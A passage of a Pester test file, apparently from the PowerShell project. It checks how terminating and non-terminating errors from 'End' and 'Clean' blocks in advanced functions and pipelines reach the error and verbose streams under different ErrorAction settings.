Write-Verbose -Verbose "clean-verbose-message"
}
'ExpressionThrowException' {
1/0 ## throw exception.
Write-Verbose -Verbose "clean-verbose-message"
}
}
}
}
#region Helper
$pwsh = [PowerShell]::Create()
$text = (Get-Command MultipleErrors).ScriptBlock.Ast.Extent.Text
$pwsh.AddScript($text).Invoke()
function RunCommand {
param(
[ValidateSet('MultipleErrors')]
[string] $Command,
[ValidateSet('ThrowTerminatingError', 'ErrorActionStop', 'ThrowException', 'WriteErrorAPI',
'WriteErrorCmdlet', 'MethodInvocationThrowException', 'ExpressionThrowException')]
[string] $ErrorFromEndBlock,
[ValidateSet('ThrowTerminatingError', 'ErrorActionStop', 'ThrowException', 'WriteErrorAPI',
'WriteErrorCmdlet', 'MethodInvocationThrowException', 'ExpressionThrowException')]
[string] $ErrorFromCleanBlock,
[ValidateSet('Continue', 'Ignore', 'SilentlyContinue', 'Stop')]
[string] $ErrorAction
)
$pwsh.Commands.Clear()
$pwsh.Streams.ClearStreams()
$pwsh.AddCommand($Command) > $null
$pwsh.AddParameter('ErrorFromEndBlock', $ErrorFromEndBlock) > $null
$pwsh.AddParameter('ErrorFromCleanBlock', $ErrorFromCleanBlock) > $null
if ($ErrorAction) { $pwsh.AddParameter('ErrorAction', $ErrorAction) > $null }
$pwsh.Invoke()
}
function RunScript {
param([string] $Script)
$pwsh.Commands.Clear()
$pwsh.Streams.ClearStreams()
$pwsh.AddScript($Script).Invoke()
}
function GetLastError {
$pwsh.Commands.Clear()
$pwsh.AddCommand('Get-Error').Invoke()
}
function GetAllErrors {
$pwsh.Commands.Clear()
$pwsh.AddScript('$Error').Invoke()
}
function ClearDollarError {
$pwsh.Commands.Clear()
$pwsh.AddScript('$Error.Clear()').Invoke()
}
#endregion
}
AfterAll {
$pwsh.Dispose()
}
It "Terminating errors from both 'End' (ThrowTerminatingError) and 'Clean' (ThrowTerminatingError) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowTerminatingError' -ErrorFromCleanBlock 'ThrowTerminatingError'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException | Should -BeOfType 'System.Management.Automation.CmdletInvocationException'
$failure.Exception.InnerException.InnerException | Should -BeOfType 'System.ArgumentException'
$failure.Exception.InnerException.InnerException.Message | Should -BeExactly 'end-terminating-exception'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception | Should -BeOfType 'System.ArgumentException'
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-terminating-exception'
}
It "Terminating errors from both 'End' (ErrorActionStop) and 'Clean' (ThrowTerminatingError) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ErrorActionStop' -ErrorFromCleanBlock 'ThrowTerminatingError'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException | Should -BeOfType 'System.Management.Automation.ActionPreferenceStopException'
$failure.Exception.InnerException.Message | should -BeLike "*'NonExistEnd'*"
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception | Should -BeOfType 'System.ArgumentException'
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-terminating-exception'
}
It "Terminating errors from both 'End' (ThrowException) and 'Clean' (ThrowTerminatingError) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'ThrowTerminatingError'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | should -BeExactly 'end-throw-exception'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception | Should -BeOfType 'System.ArgumentException'
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-terminating-exception'
}
It "Terminating errors from both 'End' (ThrowTerminatingError) and 'Clean' (ErrorActionStop) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowTerminatingError' -ErrorFromCleanBlock 'ErrorActionStop'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException | Should -BeOfType 'System.Management.Automation.CmdletInvocationException'
$failure.Exception.InnerException.InnerException | Should -BeOfType 'System.ArgumentException'
$failure.Exception.InnerException.InnerException.Message | Should -BeExactly 'end-terminating-exception'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].FullyQualifiedErrorId | Should -BeExactly 'CommandNotFoundException,Microsoft.PowerShell.Commands.GetCommandCommand'
$pwsh.Streams.Error[0].Exception.Message | Should -BeLike "*'NonExistClean'*"
}
It "Terminating errors from both 'End' (ErrorActionStop) and 'Clean' (ErrorActionStop) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ErrorActionStop' -ErrorFromCleanBlock 'ErrorActionStop'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException | Should -BeOfType 'System.Management.Automation.ActionPreferenceStopException'
$failure.Exception.InnerException.Message | should -BeLike "*'NonExistEnd'*"
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].FullyQualifiedErrorId | Should -BeExactly 'CommandNotFoundException,Microsoft.PowerShell.Commands.GetCommandCommand'
$pwsh.Streams.Error[0].Exception.Message | Should -BeLike "*'NonExistClean'*"
}
It "Terminating errors from both 'End' (ThrowException) and 'Clean' (ErrorActionStop) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'ErrorActionStop'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | should -BeExactly 'end-throw-exception'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].FullyQualifiedErrorId | Should -BeExactly 'CommandNotFoundException,Microsoft.PowerShell.Commands.GetCommandCommand'
$pwsh.Streams.Error[0].Exception.Message | Should -BeLike "*'NonExistClean'*"
}
It "Terminating errors from both 'End' (ThrowTerminatingError) and 'Clean' (ThrowException) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowTerminatingError' -ErrorFromCleanBlock 'ThrowException'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException | Should -BeOfType 'System.Management.Automation.CmdletInvocationException'
$failure.Exception.InnerException.InnerException | Should -BeOfType 'System.ArgumentException'
$failure.Exception.InnerException.InnerException.Message | Should -BeExactly 'end-terminating-exception'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-throw-exception'
}
It "Terminating errors from both 'End' (ErrorActionStop) and 'Clean' (ThrowException) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ErrorActionStop' -ErrorFromCleanBlock 'ThrowException'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException | Should -BeOfType 'System.Management.Automation.ActionPreferenceStopException'
$failure.Exception.InnerException.Message | should -BeLike "*'NonExistEnd'*"
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-throw-exception'
}
It "Terminating errors from both 'End' (ThrowException) and 'Clean' (ThrowException) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'ThrowException'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | should -BeExactly 'end-throw-exception'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-throw-exception'
}
It "Terminating errors from both 'End' (ThrowException) and 'Clean' (ThrowException) with ErrorAction '<ErrorAction>' should work properly" -TestCases @(
@{ ErrorAction = 'Ignore' }
@{ ErrorAction = 'SilentlyContinue' }
) {
param($ErrorAction)
ClearDollarError
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'ThrowException' -ErrorAction $ErrorAction
$pwsh.Streams.Error.Count | Should -Be 0
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
$pwsh.Streams.Verbose[1] | Should -BeExactly 'clean-verbose-message'
$ers = GetAllErrors
$ers.Count | Should -Be 2
$ers[0].Exception.Message | Should -BeExactly 'clean-throw-exception'
$ers[1].Exception.Message | Should -BeExactly 'end-throw-exception'
}
It "Non-terminating error from 'End' (WriteErrorAPI) and terminating error from 'Clean' (ThrowTerminatingError) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorAPI' -ErrorFromCleanBlock 'ThrowTerminatingError'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-arg-exception'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-terminating-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorAPI) and terminating error from 'Clean' (ErrorActionStop) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorAPI' -ErrorFromCleanBlock 'ErrorActionStop'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-arg-exception'
$pwsh.Streams.Error[1].Exception.Message | Should -BeLike "*'NonExistClean'*"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorAPI) and terminating error from 'Clean' (ThrowException) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorAPI' -ErrorFromCleanBlock 'ThrowException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-arg-exception'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-throw-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorCmdlet) and terminating error from 'Clean' (ThrowTerminatingError) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorCmdlet' -ErrorFromCleanBlock 'ThrowTerminatingError'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-write-error-cmdlet'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-terminating-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorCmdlet) and terminating error from 'Clean' (ErrorActionStop) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorCmdlet' -ErrorFromCleanBlock 'ErrorActionStop'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-write-error-cmdlet'
$pwsh.Streams.Error[1].Exception.Message | Should -BeLike "*'NonExistClean'*"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorCmdlet) and terminating error from 'Clean' (ThrowException) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorCmdlet' -ErrorFromCleanBlock 'ThrowException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-write-error-cmdlet'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-throw-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (MethodInvocationThrowException) and terminating error from 'Clean' (ThrowTerminatingError) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'MethodInvocationThrowException' -ErrorFromCleanBlock 'ThrowTerminatingError'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-terminating-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (MethodInvocationThrowException) and terminating error from 'Clean' (ErrorActionStop) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'MethodInvocationThrowException' -ErrorFromCleanBlock 'ErrorActionStop'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Error[1].Exception.Message | Should -BeLike "*'NonExistClean'*"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (MethodInvocationThrowException) and terminating error from 'Clean' (ThrowException) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'MethodInvocationThrowException' -ErrorFromCleanBlock 'ThrowException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-throw-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (ExpressionThrowException) and terminating error from 'Clean' (ThrowTerminatingError) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ExpressionThrowException' -ErrorFromCleanBlock 'ThrowTerminatingError'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-terminating-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (ExpressionThrowException) and terminating error from 'Clean' (ErrorActionStop) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ExpressionThrowException' -ErrorFromCleanBlock 'ErrorActionStop'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Error[1].Exception.Message | Should -BeLike "*'NonExistClean'*"
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Non-terminating error from 'End' (ExpressionThrowException) and terminating error from 'Clean' (ThrowException) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ExpressionThrowException' -ErrorFromCleanBlock 'ThrowException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-throw-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'end-verbose-message'
}
It "Terminating error from 'End' (ThrowException) and non-terminating error from 'Clean' (WriteErrorAPI) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'WriteErrorAPI'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | should -BeExactly 'end-throw-exception'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-arg-exception'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'clean-verbose-message'
}
It "Terminating error from 'End' (ThrowException) and non-terminating error from 'Clean' (WriteErrorCmdlet) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'WriteErrorCmdlet'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | should -BeExactly 'end-throw-exception'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'clean-write-error-cmdlet'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'clean-verbose-message'
}
It "Terminating error from 'End' (ThrowException) and non-terminating error from 'Clean' (MethodInvocationThrowException) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'MethodInvocationThrowException'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | should -BeExactly 'end-throw-exception'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'clean-verbose-message'
}
It "Terminating error from 'End' (ThrowException) and non-terminating error from 'Clean' (ExpressionThrowException) should work properly" {
$failure = $null
try {
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'ThrowException' -ErrorFromCleanBlock 'ExpressionThrowException'
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | should -BeExactly 'end-throw-exception'
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Verbose[0] | Should -BeExactly 'clean-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorAPI) and non-terminating error from 'Clean' (WriteErrorCmdlet) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorAPI' -ErrorFromCleanBlock 'WriteErrorCmdlet'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-arg-exception'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-write-error-cmdlet'
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'end-verbose-message'
$pwsh.Streams.Verbose[1].Message | Should -BeExactly 'clean-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorAPI) and non-terminating error from 'Clean' (MethodInvocationThrowException) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorAPI' -ErrorFromCleanBlock 'MethodInvocationThrowException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-arg-exception'
$pwsh.Streams.Error[1].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'end-verbose-message'
$pwsh.Streams.Verbose[1].Message | Should -BeExactly 'clean-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorCmdlet) and non-terminating error from 'Clean' (WriteErrorAPI) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorCmdlet' -ErrorFromCleanBlock 'WriteErrorAPI'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-write-error-cmdlet'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-arg-exception'
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'end-verbose-message'
$pwsh.Streams.Verbose[1].Message | Should -BeExactly 'clean-verbose-message'
}
It "Non-terminating error from 'End' (WriteErrorCmdlet) and non-terminating error from 'Clean' (ExpressionThrowException) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'WriteErrorCmdlet' -ErrorFromCleanBlock 'ExpressionThrowException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'end-write-error-cmdlet'
$pwsh.Streams.Error[1].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'end-verbose-message'
$pwsh.Streams.Verbose[1].Message | Should -BeExactly 'clean-verbose-message'
}
It "Non-terminating error from 'End' (MethodInvocationThrowException) and non-terminating error from 'Clean' (WriteErrorCmdlet) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'MethodInvocationThrowException' -ErrorFromCleanBlock 'WriteErrorCmdlet'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'clean-write-error-cmdlet'
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'end-verbose-message'
$pwsh.Streams.Verbose[1].Message | Should -BeExactly 'clean-verbose-message'
}
It "Non-terminating error from 'End' (MethodInvocationThrowException) and non-terminating error from 'Clean' (ExpressionThrowException) should work properly" {
## No exception should be thrown
RunCommand -Command 'MultipleErrors' -ErrorFromEndBlock 'MethodInvocationThrowException' -ErrorFromCleanBlock 'ExpressionThrowException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.InnerException | Should -BeOfType 'System.ArgumentNullException'
$pwsh.Streams.Error[1].Exception.InnerException | Should -BeOfType 'System.DivideByZeroException'
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'end-verbose-message'
$pwsh.Streams.Verbose[1].Message | Should -BeExactly 'clean-verbose-message'
}
}
Describe "Error handling within a pipeline (multiple commands with 'Clean' block)" -Tag 'CI' {
BeforeAll {
function test1 {
param([switch] $EmitErrorInProcess)
process {
if ($EmitErrorInProcess) {
throw 'test1-process'
}
Write-Output 'process-obj'
}
clean {
throw 'test1-clean'
Write-Verbose -Verbose 'test1-clean-verbose'
}
}
function test2 {
param([switch] $EmitErrorInProcess)
process {
if ($EmitErrorInProcess) {
throw 'test2-process'
}
Write-Verbose -Verbose $_
}
clean {
throw 'test2-clean'
Write-Verbose -Verbose 'test2-clean-verbose'
}
}
function test-1 {
param([switch] $EmitException)
process { 'output' }
clean {
if ($EmitException) {
throw 'test-1-clean-exception'
}
Write-Verbose -Verbose 'test-1-clean'
}
}
function test-2 {
param([switch] $EmitException)
process { $_ }
clean {
if ($EmitException) {
throw 'test-2-clean-exception'
}
Write-Verbose -Verbose 'test-2-clean'
}
}
function test-3 {
param([switch] $EmitException)
process { Write-Warning $_ }
clean {
if ($EmitException) {
throw 'test-3-clean-exception'
}
Write-Verbose -Verbose 'test-3-clean'
}
}
#region Helper
$pwsh = [PowerShell]::Create()
$text = (Get-Command test1, test2, test-1, test-2, test-3).ScriptBlock.Ast.Extent.Text
$pwsh.AddScript($text -join "`n").Invoke()
function RunScript {
param([string] $Script)
$pwsh.Commands.Clear()
$pwsh.Streams.ClearStreams()
$pwsh.AddScript($Script).Invoke()
}
#endregion
}
It "Errors from multiple 'Clean' blocks should work properly" {
## No exception should be thrown
RunScript -Script "test1 | test2"
## Exceptions thrown from 'throw' statement are not propagated up, but instead written to the error stream.
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'test1-clean'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'test2-clean'
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'process-obj'
}
It "ErrorAction should be honored by 'Clean' blocks" {
try {
RunScript -Script '$ErrorActionPreference = "SilentlyContinue"'
## No exception should be thrown.
RunScript -Script "test1 | test2"
## The exception from 'throw' statement should be suppressed by 'SilentlyContinue'.
$pwsh.Streams.Error.Count | Should -Be 0
$pwsh.Streams.Verbose.Count | Should -Be 3
$pwsh.Streams.Verbose[0].Message | Should -BeExactly 'process-obj'
$pwsh.Streams.Verbose[1].Message | Should -BeExactly 'test1-clean-verbose'
$pwsh.Streams.Verbose[2].Message | Should -BeExactly 'test2-clean-verbose'
}
finally {
## Revert error action back to 'Continue'
RunScript -Script '$ErrorActionPreference = "Continue"'
}
}
It "Errors from 'Clean' blocks should work properly when another named block emits error" {
$failure = $null
try {
RunScript -Script "test1 | test2 -EmitErrorInProcess"
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | Should -BeExactly 'test2-process'
$pwsh.Streams.Verbose.Count | Should -Be 0
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'test1-clean'
$pwsh.Streams.Error[1].Exception.Message | Should -BeExactly 'test2-clean'
}
It "The 'Clean' block should not run when the none of other named blocks from the same command get to run" {
$failure = $null
try {
RunScript -Script "test1 -EmitErrorInProcess | test2"
} catch {
$failure = $_
}
$failure | Should -Not -BeNullOrEmpty
$failure.Exception | Should -BeOfType 'System.Management.Automation.MethodInvocationException'
$failure.Exception.InnerException.Message | Should -BeExactly 'test1-process'
## Only the 'Clean' block from 'test1' will run.
## The 'Clean' block from 'test2' won't run because none of the other blocks from 'test2' gets to run
## due to the terminating exception thrown from 'test1.Process'.
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'test1-clean'
}
It "Exception from the 'Clean' block at <Position> should not affect other 'Clean' blocks" -TestCases @(
@{ Position = 'beginning-of-pipeline'; Script = 'test-1 -EmitException | test-2 | test-3'; ExceptionMessage = 'test-1-clean-exception'; VerboseMessages = @('test-2-clean', 'test-3-clean') }
@{ Position = 'middle-of-pipeline'; Script = 'test-1 | test-2 -EmitException | test-3'; ExceptionMessage = 'test-2-clean-exception'; VerboseMessages = @('test-1-clean', 'test-3-clean') }
@{ Position = 'end-of-pipeline'; Script = 'test-1 | test-2 | test-3 -EmitException'; ExceptionMessage = 'test-3-clean-exception'; VerboseMessages = @('test-1-clean', 'test-2-clean') }
) {
param($Script, $ExceptionMessage, $VerboseMessages)
RunScript -Script $Script
$pwsh.Streams.Error.Count | Should -Be 1
$pwsh.Streams.Verbose.Count | Should -Be 2
$pwsh.Streams.Warning.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly $ExceptionMessage
$pwsh.Streams.Verbose[0].Message | Should -BeExactly $VerboseMessages[0]
$pwsh.Streams.Verbose[1].Message | Should -BeExactly $VerboseMessages[1]
$pwsh.Streams.Warning[0].Message | Should -BeExactly 'output'
}
It "Multiple exceptions from 'Clean' blocks should not affect other 'Clean' blocks" {
RunScript -Script 'test-1 -EmitException | test-2 | test-3 -EmitException'
$pwsh.Streams.Error.Count | Should -Be 2
$pwsh.Streams.Verbose.Count | Should -Be 1
$pwsh.Streams.Warning.Count | Should -Be 1
$pwsh.Streams.Error[0].Exception.Message | Should -BeExactly 'test-1-clean-exception'
